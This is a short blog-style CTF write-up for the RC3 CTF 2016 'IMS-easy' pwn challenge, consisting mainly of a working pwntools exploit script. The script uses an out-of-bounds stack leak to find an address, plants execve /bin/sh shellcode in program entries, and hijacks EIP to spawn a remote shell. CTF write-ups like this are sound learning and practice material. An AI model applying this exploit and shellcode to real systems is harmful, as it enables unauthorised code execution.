2016. 11. 25. 00:51
## RC3 CTF_2016(IMS-easy,pwn,150pts)
[Summary]
1. OOB memory leak(stack) vuln
2. Shellcode Execute & EIP control
[Exploit Code]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | from pwn import * import base64 context(arch = 'i386',os='linux') local=False if local: p = process("./IMS-easy") libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so") else: p = remote("ims.ctf.rc3.club",7777) binary = ELF("./IMS-easy") raw_input() def send_add(id_param, code_param): print p.recvuntil('Choose: ') p.send('1\n') print p.recvuntil('ID: ') p.send(id_param+'\n') print p.recvuntil('code: ') p.send(code_param+'\n') send_add('2425393296','\x90\x90\x90\x90\x90\x90\x90\x90') #send_add('1768042344','\x31\xc0\x50\x68'+'\x2f\x2f\x73\x68') #send_add('2424360203','\x6e\x89\xe3\x50'+'\x53\x89\xe1\xb0') send_add('1751675695','\x6a\x0b\x58\x31'+'\xf6\x56\x68\x2f') send_add('2160970377','\x2f\x62\x69\x6e'+'\x89\xe3\x31\xc9') for i in xrange(0,3): send_add('2425393296','\x90\x90\x90\x90\x90\x90\x90\x90') print p.recvuntil('Choose: ') p.send('3\n') print p.recvuntil('view: ') p.send('7\n') stack_leak = p.recvline() print stack_leak stack_leak = stack_leak[12:stack_leak.find(',')] stack_addr = hex(4294967295+int(stack_leak)+1) print 'stack_addr : ' + stack_addr print 'stack_addr(dec) : ' + str(int(stack_addr,16)) print p.recvuntil('Choose: ') p.send('1\n') print p.recvuntil('ID: ') p.send(str(int(stack_addr,16)-220)+'\n') # EIP control to shellcode! print p.recvuntil('code: ') p.send('AAAAAAAA\n') print p.recvuntil('Choose: ') p.send('4\n') p.interactive() ''' print '[*] Sending Payload...' payload = base64.b64encode('0000\x78\x92\x04\x08\x40\xeb\x11\x08') + '\n' p.send(payload) print p.recv(1024) print "[*] Exploit Success~~!!!\n\n" p.interactive() ''' | cs |
'CTF writeup' 카테고리의 다른 글
[BoB CTF_2016] megabox(pwn) (2) | 2017.01.10 |
---|---|
[Christmas CTF_2016] StupidRSA(misc) (0) | 2016.12.26 |
[Christmas CTF_2016] NMS(misc) (0) | 2016.12.26 |
[Holyshield CTF_2016] pwnme(pwn) (0) | 2016.12.26 |
[RC3 CTF_2016] IMS-hard(pwn) (2) | 2016.11.25 |